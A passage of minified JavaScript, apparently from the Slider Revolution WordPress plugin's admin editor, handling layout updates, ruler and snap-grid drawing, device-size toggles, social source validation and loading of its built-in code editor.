0===RVS.S.calledUpdateSliderLayout||!RVS.S.drawingHTMLLayers&&RVS.S.drawHTMLLayersCalled)&&(clearTimeout(window.updateSliderLayoutTimer),n=RVS.S.lgh,RVS.S.calledUpdateSliderLayout=RVS.S.calledUpdateSliderLayout||0,RVS.S.calledUpdateSliderLayout++,window.updateSliderLayoutTimer=setTimeout(function(){D(!1),RVS.F.redrawSlideBG(),"slidertype"===e&&O(),n===RVS.S.lgh&&RVS.ENV.globVerOffset===RVS.S.cacheglobVerOffset||(RVS.F.updateAllHTMLLayerPositions(),RVS.S.cacheglobVerOffset=RVS.ENV.globVerOffset),"wait"==RVS.S.ReadyToShowAll&&(RVS.C.UL[0].style.opacity=1,RVS.S.ReadyToShowAll="done",RVS.F.expandCollapseTimeLine(!0,"open",void 0,!0))},100))},RVS.DOC.on("device_area_availibity",function(){D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns()}),RVS.DOC.on("check_custom_size",function(e,t){var i;i=t.eventparam,RVS.SLIDER.settings.size.custom[i]=!0,jQuery("#sr_custom_"+i).prop("checked",RVS.SLIDER.settings.size.custom[i]),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_"+i)})}),RVS.F.staticsDoubleUpdate=function(e){!0!==RVS.S.resetLastShownAndStatic&&RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited&&void 0!==RVS.S.lastShownSlideId&&(RVS.S.resetLastShownAndStatic=!0,RVS.S.slideIdCache=RVS.S.slideId,RVS.S.slideId=RVS.S.lastShownSlideId),e.call(),RVS.S.resetLastShownAndStatic&&(clearTimeout(window.resetLastShownTimer),window.resetLastShownTimer=setTimeout(function(){RVS.S.resetLastShownAndStatic=!1,RVS.S.lastShownSlideId=RVS.S.slideId,RVS.S.slideId=RVS.S.slideIdCache,e.call()},200))},RVS.DOC.on("windowresized",function(){RVS.F.staticsDoubleUpdate(RVS.F.sliderUpdateAfterResize)}),RVS.F.sliderUpdateAfterResize=function(){V.width=o.width(),u.width=t.width(),D(!1),RVS.F.setRulers(),RVS.F.updateContentDeltas(),g("update")},RVS.DOC.on("updateShortCode",function(){RVS.SLIDER.settings.alias=RVS.F.sanitize_input(RVS.SLIDER.settings.alias),RVS.SLIDER.settings.shortcode='[rev_slider alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.SLIDER.settings.modalshortcode='[rev_slider usage="modal" alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.F.updateEasyInputs({container:jQuery("#form_module_title"),init:"true"}),RVS.F.updateEasyInputs({container:jQuery("#form_slider_as_modal"),init:"true"})}),RVS.DOC.on("sliderBGUpdate",C),RVS.DOC.on("drawBGOverlay",k),RVS.DOC.on("sliderProgressUpdate",O),RVS.DOC.on("coloredit colorcancel",M),RVS.DOC.on("updateParallaxLevelTexts",RVS.F.updateParallaxLevelTexts),RVS.DOC.on("updateParallaxdddBG",RVS.F.updateParallaxdddBG),RVS.DOC.on("updateSourcePostCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.post.types,categories:jQuery("#post_category")})}),RVS.DOC.on("updateSourceWooCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.woo.types,categories:jQuery("#woo_category")})}),RVS.DOC.on("flickrsourcechange",w),RVS.DOC.on("facebooksourcechange",b),RVS.DOC.on("youtubesourcechange",F),RVS.DOC.on("loadStreamDependencies",v),RVS.DOC.on("revertEasyInputs.source",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."});var i=RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey||RVS.SLIDER.settings.source.flickr.userURL!==RVS.F.revert.settings.source.flickr.userURL||RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey,a=RVS.SLIDER.settings.source.facebook.appId!==RVS.F.revert.settings.source.facebook.appId||RVS.SLIDER.settings.source.facebook.typeSource!==RVS.F.revert.settings.source.facebook.typeSource||RVS.SLIDER.settings.source.facebook.album!==RVS.F.revert.settings.source.facebook.album,r=RVS.SLIDER.settings.source.youtube.api!==RVS.F.revert.settings.source.youtube.api||RVS.SLIDER.settings.source.youtube.channelId!==RVS.F.revert.settings.source.youtube.channelId;(i||a||r)&&(R=!0)}),RVS.DOC.on("moduleSpinnerChange",function(){var e=RVS.SLIDER.settings.layout.spinner.type;jQuery("rs-loader").attr("class","spinner"+e).html(_()),(isNaN(e)||parseInt(e,10)<6)&&L()}),RVS.DOC.on("scrollUpdates",function(){g("update")})}(),RVS.F.buildRuler(),RVS.F.sliderUpdateAllFields(),RVS.DOC.trigger("updateShortCode"),g(),l=document.getElementById("show_c_height"),void 0!==(d=document.getElementById("show_c_width"))&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),v(),RVS.F.checkSliderSource(),RVS.V.sizesold)document.getElementById("global_size_"+RVS.V.sizesold[S]).innerHTML=0==S?"> "+RVS.ENV.glb_slizes[RVS.V.sizes[1]]:3==S?"< "+RVS.ENV.glb_slizes[RVS.V.sizes[S]]:parseInt(RVS.ENV.glb_slizes[RVS.V.sizes[S]],0)-1+" - "+RVS.ENV.glb_slizes[RVS.V.sizes[parseInt(S,0)+1]]},RVS.F.clearSnapVisual=function(){RVS.C.gcanvas=void 0===RVS.C.gcanvas?document.getElementById("gridcanvas"):RVS.C.gcanvas,RVS.C.gCTX=void 0===RVS.C.gCTX?RVS.C.gcanvas.getContext("2d"):RVS.C.gCTX,RVS.C.gcanvas.width=RVS.S.ulDIM.width,RVS.C.gcanvas.height=RVS.S.ulDIM.height,RVS.C.gCTX.clearRect(0,0,RVS.S.ulDIM.width,RVS.S.ulDIM.height)},RVS.F.getSnapPoint=function(e,t){return{x:RVS.SLIDER.settings.snap.gap*Math.round(e/RVS.SLIDER.settings.snap.gap),y:RVS.SLIDER.settings.snap.gap*Math.round(t/RVS.SLIDER.settings.snap.gap)}},RVS.F.snapVisual=function(e){(e=void 0===e?{}:e).ah=void 0===e.ah?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.horizontal[RVS.screen].v:"left":e.ah,e.av=void 0===e.av?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.vertical[RVS.screen].v:"top":e.av;var t=RVS.S.rulerOffset.x,i=RVS.S.rulerOffset.y/RVS.zoom;if(RVS.F.clearSnapVisual(),RVS.SLIDER.settings.snap.gap=parseInt(RVS.SLIDER.settings.snap.gap,0),RVS.SLIDER.settings.snap.gap=0===RVS.SLIDER.settings.snap.gap?1:RVS.SLIDER.settings.snap.gap,"grid"===RVS.SLIDER.settings.snap.adjust&&RVS.SLIDER.settings.snap.gap>4){RVS.GSNAP={X:"left"===e.ah?t:"right"===e.ah?t+RVS.S.lgw:t+RVS.S.lgw/2,Y:"top"===e.av?i:"bottom"===e.av?i+RVS.S.lgh:i+RVS.S.lgh/2},RVS.GSNAP.XO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.X/RVS.SLIDER.settings.snap.gap),RVS.GSNAP.YO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.Y/RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.beginPath();for(var a=RVS.GSNAP.X-RVS.GSNAP.XO;a<RVS.S.ulDIM.width;a+=RVS.SLIDER.settings.snap.gap)RVS.C.gCTX.moveTo(a,0),RVS.C.gCTX.lineTo(a,RVS.S.ulDIM.height);for(var r=RVS.GSNAP.Y-RVS.GSNAP.YO;r<RVS.S.ulDIM.height;r+=RVS.SLIDER.settings.snap.gap)RVS.C.gCTX.moveTo(0,r),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,r);if(RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 0.25)",RVS.C.gCTX.stroke(),void 0!==e.sp){RVS.C.gCTX.beginPath(),e.sp.x=RVS.GSNAP.X+("left"===e.ah?e.sp.x:"right"===e.ah?0-e.sp.x-RVS.SLIDER.settings.snap.gap:e.sp.x-RVS.SLIDER.settings.snap.gap/2),e.sp.y=RVS.GSNAP.Y+("top"===e.av?e.sp.y:"bottom"===e.av?0-e.sp.y-RVS.SLIDER.settings.snap.gap:e.sp.y-RVS.SLIDER.settings.snap.gap/2);let t=e.sp.y+("top"!==e.av?RVS.SLIDER.settings.snap.gap/("middle"===e.av?2:1):0),i=e.sp.x+("left"!==e.ah?RVS.SLIDER.settings.snap.gap/("center"===e.ah?2:1):0);RVS.C.gCTX.moveTo(e.sp.x,t),RVS.C.gCTX.lineTo(e.sp.x+RVS.SLIDER.settings.snap.gap,t),RVS.C.gCTX.moveTo(i,e.sp.y),RVS.C.gCTX.lineTo(i,e.sp.y+RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}}else if("layers"===RVS.SLIDER.settings.snap.adjust){RVS.C.gCTX.beginPath();var s={};for(var o in RVS.S.DaD.snapH){if(!RVS.S.DaD.snapH.hasOwnProperty(o))continue;let e=RVS.S.DaD.snapH[o];void 0===s[e.x]&&(RVS.C.gCTX.moveTo(e.x+t,0),RVS.C.gCTX.lineTo(e.x+t,RVS.S.ulDIM.height),s[e.x]=!0),void 0===s[e.xc]&&(RVS.C.gCTX.moveTo(e.xc+t,0),RVS.C.gCTX.lineTo(e.xc+t,RVS.S.ulDIM.height),s[e.xc]=!0),void 0===s[e.xr]&&(RVS.C.gCTX.moveTo(e.xr+t,0),RVS.C.gCTX.lineTo(e.xr+t,RVS.S.ulDIM.height),s[e.xr]=!0),RVS.SLIDER.settings.snap.gap>5&&(void 0===s[e.x-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.x-RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.x-RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.x-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.xr+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.xr+RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.xr+RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.xr+RVS.SLIDER.settings.snap.gap]=!0))}for(var o in s={},RVS.S.DaD.snapV){if(!RVS.S.DaD.snapV.hasOwnProperty(o))continue;let e=RVS.S.DaD.snapV[o];void 0===s[e.y]&&(RVS.C.gCTX.moveTo(0,e.y+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i),s[e.y]=!0),void 0===s[e.ym]&&(RVS.C.gCTX.moveTo(0,e.ym+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.ym+i),s[e.ym]=!0),void 0===s[e.yb]&&(RVS.C.gCTX.moveTo(0,e.yb+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i),s[e.yb]=!0),RVS.SLIDER.settings.snap.gap>5&&(void 0===s[e.y-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.y+i-RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i-RVS.SLIDER.settings.snap.gap),s[e.y-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.yb+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.yb+i+RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i+RVS.SLIDER.settings.snap.gap),s[e.yb+RVS.SLIDER.settings.snap.gap]=!0))}if(RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 0.25)",RVS.C.gCTX.stroke(),RVS.C.gCTX.beginPath(),void 0!==RVS.S.DaD.snapHF&&-1!==RVS.S.DaD.snapHF.uid){let e=RVS.S.DaD.snapH[RVS.S.DaD.snapHF.uid];RVS.C.gCTX.moveTo(e.x+t+RVS.S.DaD.snapHF.offset,0),RVS.C.gCTX.lineTo(e.x+t+RVS.S.DaD.snapHF.offset,RVS.S.ulDIM.height),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}if(void 0!==RVS.S.DaD.snapVF&&-1!==RVS.S.DaD.snapVF.uid){let e=RVS.S.DaD.snapV[RVS.S.DaD.snapVF.uid];RVS.C.gCTX.moveTo(0,e.y+i+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+RVS.S.rulerOffset.y+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}}},RVS.F.updateAvailableDevices=function(){for(var e=!1,t=1;t<4;t++)RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]]?jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).removeClass("ssnotavailable"):(jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).addClass("ssnotavailable"),RVS.screen==RVS.V.sizes[t]&&(e=!0));e&&jQuery("#screen_selecotr_ss_d").trigger("click"),RVS.DOC.trigger("updateAllInheritedSize")},RVS.F.checkForFixedScroll=function(){"slider"===RVS.eMode.top&&"#form_module_scroll"==RVS.eMode.menu&&jQuery("#timeline_slider_tab").hasClass("selected")?(RVS.TL.TL.addClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!0):RVS.TL.FixedScrollEdit&&(RVS.TL.TL.removeClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!1)},RVS.F.updateDeviceOnOffBtns=function(e){for(var t in RVS.V.sizes)if("d"!==RVS.V.sizes[t]){var i=document.getElementById("sr_custom_"+RVS.V.sizes[t]),a=document.getElementById("sr_custom_"+RVS.V.sizes[t]+"_opt");i.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],a.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],e||(RVS.F.turnOnOffVisUpdate({input:i}),RVS.F.turnOnOffVisUpdate({input:a}))}},RVS.F.updateSliderInputFields=function(){!0!==RVS.S.sliderInputFieldsInitialised&&!0!==RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!0,RVS.S.sliderInputFieldsInitialised=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".sliderconfig_forms"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),!0===RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!1),requestAnimationFrame(function(){x()})},5)},RVS.F.updateTopScreenSelectors=function(){RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_n_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_m_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_t_opt")})},RVS.F.sliderUpdateAllFields=function(e){for(var t in D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateTopScreenSelectors(),RVS.S.sliderInputFieldsInitialised&&RVS.F.updateSliderInputFields(),e&&jQuery(".slider_general_collector .tponoffwrap").each(function(){RVS.F.turnOnOff(this,!1)}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field")),RVS.DOC.trigger("updateSourcePostCategories"),RVS.DOC.trigger("updateSourceWooCategories"),RVS.DOC.trigger("updatesliderthumb"),RVS.DOC.trigger("moduleSpinnerChange"),RVS.DOC.trigger("updateAutoRotate"),RVS.SLIDER.settings.addOns)RVS.SLIDER.settings.addOns.hasOwnProperty(t)&&RVS.SLIDER.settings.addOns[t].enable&&RVS.DOC.trigger(t+"_init");if(RVS.F.updateContentDeltas(),RVS.F.updateAllNavigationContainer(!0),O(),C(!1),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},RVS.F.updateParallaxLevelTexts(),RVS.F.updateParallaxdddBG(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.SLIDER.settings.pakps){if(RVS.C.RSPREM=document.getElementById("rs_premium"),void 0===RVS.C.RSPREM||null==RVS.C.RSPREM)return;RVS.C.RSPREM.style.display="block",RVS.ENV.activated?RVS.C.RSPREM.innerHTML='<div class="rs_lib_premium_lila">'+RVS_LANG.premium_template+'</div><div class="rs_premium_content">'+RVS_LANG.rs_premium_content+"</div>":(RVS.C.RSPREM.innerHTML='<div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>'+RVS_LANG.premiumunlock+'</div><div class="rs_premium_content">'+RVS_LANG.rs_premium_content+"</div>",RVS.DOC.on("click",".rs_lib_premium_red",function(){RVS.F.showRegisterSliderInfo()}))}},RVS.F.updateAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updateNavStyleSelection({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updateNavStyleSelection({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updateNavStyleSelection({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updateNavStyleSelection({init:e,type:"thumbs"})},RVS.F.redrawAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.drawNavigation({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.drawNavigation({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.drawNavigation({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.drawNavigation({init:e,type:"thumbs"})},RVS.F.setRulers=function(){var e;RVS.S.rulerOffset.x=Math.max(0,(u.width-RVS.F.GW(RVS.screen))/2),RVS.S.rulerOffset.y=Math.max(0,RVS.S.layer_wrap_offset.y),e={offset:{x:RVS.S.rulerOffset.x,y:RVS.S.rulerOffset.y}},requestAnimationFrame(function(){if(void 0!==e&&void 0!==e.offset.x&&void 0!==e.offset.y){var t={x:parseInt(e.offset.x,0)-m.x/RVS.zoom+RVS.S.dim_offsets.navleft,y:e.offset.y-(m.y+RVS.S.dim_offsets.navtop)};t.x=t.x*RVS.zoom,tpGS.gsap.set(i,{x:t.x+"px"}),tpGS.gsap.set(a,{y:t.y+"px"})}})},RVS.F.setRulerMarkers=function(e){e=void 0===e?{y:0,x:0}:e;var t="overruler"===RVS.S.builderHover||"overbuilder"===RVS.S.builderHover?"block":"hidden",i=e.x,a=Math.max(0,e.y-y.top);requestAnimationFrame(function(){tpGS.gsap.set(r,{left:i+"px",height:"15px",display:t}),tpGS.gsap.set(s,{top:a+"px",width:"15px",display:t})})},RVS.F.updateContentDeltas=function(){if(void 0!==RVS.C.layergrid||void 0!==e){var t=RVS.C.UL.offset(),i="slidelayout"===RVS.S.vWmode?void 0===RVS.C.layergrid?e.offset():RVS.C.layergrid.offset():void 0===e?RVS.C.layergrid.offset():e.offset();RVS.S.layer_grid_offset=i,RVS.S.layer_wrap_offset.x=i.left-t.left,RVS.S.layer_wrap_offset.y=i.top-t.top,RVS.S.layer_wrap_offset.xr=RVS.C.UL.width()-e.width()-RVS.S.layer_wrap_offset.x,RVS.S.lgw=e.width(),RVS.S.lgh=e.height(),RVS.SLIDER.settings.size.editorCache[RVS.screen]=RVS.S.lgh,void 0!==l&&(l.innerHTML=parseInt(RVS.S.lgh,0)+"px"),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),window.contentDeltaFirstRun=!0}},RVS.F.panSlider=function(e){},RVS.F.updateParallaxLevelTexts=function(){var e,t,i=!1;jQuery(".prallaxlevelselect").each(function(){for(i=!1,t=1;t<16;t++)e=t+". ("+RVS.SLIDER.settings.parallax.levels[t-1]+" %)",this.options[t].text!==e&&(i=1,this.options[t].text=e);i&&jQuery(this).ddTP({})})},RVS.F.checkSliderSource=function(){var e=!0,t=RVS.SLIDER.settings.source[RVS.SLIDER.settings.sourcetype],i=t.count;switch(i=void 0===i||""==i?0:i,RVS.SLIDER.settings.sourcetype){case"facebook":e=""!==t.apiId&&("album"!==t.typeSource||"album"==t.typeSource&&""!==t.album)&&0!=i;break;case"flickr":e=""!==t.apiKey&&""!==t.appSecret&&(""!==t.galleryURL||""!==t.groupURL||""!==t.photoSet||""!==t.userURL)&&0!=i;break;case"instagram":e=void 0!==t.token&&""!==t.token;break;case"vimeo":e=!0===(e=("channel"!=t.typeSource||""!=t.channelName)&&(("user"!=t.typeSource||""!=t.userName)&&(("group"!=t.typeSource||""!=t.groupName)&&("album"!=t.typeSource||""!=t.albumId))))&&0!=i;break;case"youtube":e=""!==t.api&&""!==t.channelId&&0!=i;break;case"twitter":e=""!==t.accessSecret&&""!==t.accessToken&&""!==t.consumerKey&&""!=t.consumerSecret&&""!==t.userId&&0!=i}e||RVS.F.showInfo({content:RVS_LANG.somesourceisnotcorrect,type:"goodtoknow",showdelay:2,hidedelay:5,hideon:"click",event:""})},RVS.F.updateParallaxdddBG=function(){clearTimeout(window.updateParallaxDDDBGTimer),window.updateParallaxDDDBGTimer=setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slider_ddd_subsettings"),init:!0})},50)},RVS.F.reSortSlides=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&-1===(""+RVS.SLIDER.slideIDs[e]).indexOf("static_")&&jQuery("#slidelist").append(jQuery("#slide_list_element_"+RVS.SLIDER.slideIDs[e]))},RVS.F.openNewGuide=function(){window.initQuickGuide?window.initQuickGuide.page=0:(RVS.DOC.on("click","#rbm_quickguide .rbm_close, .mcg_quit_page",function(){RVS.F.RSDialog.close(),RVS.F.sliderUpdateAllFields(!0)}),RVS.DOC.on("click",".mcg_next_page",function(){window.initQuickGuide.page++,h()}),RVS.DOC.on("click",".mcg_prev_page",function(){window.initQuickGuide.page--,h(-1)}),window.initQuickGuide={page:0,active:0},RVS.DOC.on("click",".guide_combi_resize",function(){switch(jQuery(".guide_combi_resize").removeClass("selected"),this.className+=" selected",this.id){case"guide_classic":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!1,RVS.SLIDER.settings.size.custom.t=!1,RVS.SLIDER.settings.size.custom.m=!1;break;case"guide_intelligent":RVS.SLIDER.settings.def.intelligentInherit=!0,RVS.SLIDER.settings.def.autoResponsive=!0,RVS.SLIDER.settings.def.responsiveChilds=!0,RVS.SLIDER.settings.def.responsiveOffset=!0;break;case"guide_manual":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!0,RVS.SLIDER.settings.size.custom.t=!0,RVS.SLIDER.settings.size.custom.m=!0}RVS.F.sliderUpdateAllFields(!0),D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns(),RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."})})),h(),jQuery("#guide_classic").removeClass("selected"),jQuery("#guide_intelligent").removeClass("selected"),jQuery("#guide_manual").removeClass("selected"),RVS.SLIDER.settings.def.intelligentInherit?jQuery("#guide_intelligent").addClass("selected"):RVS.SLIDER.settings.size.custom.n||RVS.SLIDER.settings.size.custom.t||RVS.SLIDER.settings.size.custom.m?jQuery("#guide_manual").addClass("selected"):jQuery("#guide_classic").addClass("selected"),RVS.F.updateEasyInputs({container:jQuery("#rbm_quickguide"),path:"settings."}),RVS.F.RSDialog.create({modalid:"rbm_quickguide",bgopacity:.85})},RVS.F.duplicateSkinColors=function(e){if(void 0!==RVS.SLIDER.settings.skins&&void 0!==RVS.SLIDER.settings.skins.colors)for(var t in RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(t)&&void 0!==RVS.SLIDER.settings.skins.colors[t].ref){var i=RVS.SLIDER.settings.skins.colors[t].ref,a=[];for(var r in i){if(i.hasOwnProperty(r))if("slide"===e.type&&void 0!==e.slideFrom&&void 0!==e.slideTo&&""+i[r].slide==""+e.slideFrom)(s=jQuery.extend(!0,{},i[r])).slide=""+e.slideTo,s.r=s.r.replace(e.slideFrom,e.slideTo),a.push(s);else if("layer"===e.type&&void 0!==e.layerFrom&&void 0!==e.layerTo&&""+i[r].slide==""+e.slideFrom&&""+i[r].layer==""+e.layerFrom){var s;(s=jQuery.extend(!0,{},i[r])).layer=""+e.layerTo,s.slide=""+e.slideTo,s.r=s.r.replace(e.slideFrom,e.slideTo),s.r=s.r.replace(".layers."+e.layerFrom,".layers."+e.layerTo),a.push(s)}}for(r=0;r<a.length;r++)i.push(a[r])}},RVS.F.buildRuler=function(e){void 0===RVS.S.bodyHidden&&(document.body.style.overflowY="hidden",RVS.S.bodyHidden=!0);var r=i[0].getContext("2d"),s=a[0].getContext("2d"),o=0;RVS.S.isRetina=void 0===RVS.S.isRetina?window.devicePixelRatio>1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?r.webkitBackingStorePixelRatio<2||null==r.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,r.canvas.width=3600*RVS.S.retinaFactor,r.canvas.height=15*RVS.S.retinaFactor,s.canvas.width=15*RVS.S.retinaFactor,s.canvas.height=3600*RVS.S.retinaFactor,r.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),s.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),r.strokeStyle=s.strokeStyle="#414243",r.font="10px Arial",s.font="10px Arial",r.fillStyle="rgba(183,187,192,0.5)",s.fillStyle="rgba(183,187,192,0.5)",r.beginPath(),s.beginPath();for(var n=0;n<600;n++)o%2!=0&&0!==o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)):0===o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,0),s.moveTo(15,10*n*RVS.zoom),s.lineTo(0,10*n*RVS.zoom)):(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)),o=10==++o?0:o;r.stroke(),s.stroke();for(n=0;n<60;n++){var l=100*(n-12),d=(""+l).split("");for(var S in r.fillText(l,(100*n+5)*RVS.zoom,10),d)s.fillText(d[S],3,(100*n+14)*RVS.zoom+9*S)}tpGS.gsap.set(i,{left:Math.round(-1200*RVS.zoom)+"px"}),tpGS.gsap.set(a,{top:Math.round(-1200*RVS.zoom)+"px"}),void 0===e&&(u.width=t.width(),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},y=RVS.C.rb.offset())},RVS.F.openSliderApi=function(){"FAIL"!==window.rs_jscss_editor&&("undefined"==typeof RevMirror||void 0===RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openSliderApi()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.rs_jscss_editor="FAIL"})):void 0===window.rs_jscss_editor?(window.rs_jscss_editor=RevMirror(document.getElementById("rs_css_js_area"),{value:RVS.SLIDER.settings.codes.css,mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!0}),window.rs_jscss_editor.on("focus",function(){window.rs_jscss_editor.refresh()}),setTimeout(RVS.F.openSliderApi,200)):(RVS.F.RSDialog.create({modalid:"rbm_slider_api",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),setTimeout(function(){window.rs_jscss_editor.refresh()},600)))},RVS.F.openColorSkinApi=function(){RVS.F.RSDialog.create({modalid:"rbm_colorskins",bgopacity:0}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field"))},RVS.F.JWALL=function(){return"carousel"===RVS.SLIDER.settings.type&&!0===RVS.SLIDER.settings.carousel.justify},RVS.F.GW=function(e){var t=parseInt(RVS.SLIDER.settings.size.width[e],0);if(RVS.F.JWALL()){var i=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId?RVS.S.lastShownSlideId:RVS.S.slideId;"image"!==RVS.SLIDER[i].slide.bg.type&&"external"!==RVS.SLIDER[i].slide.bg.type||void 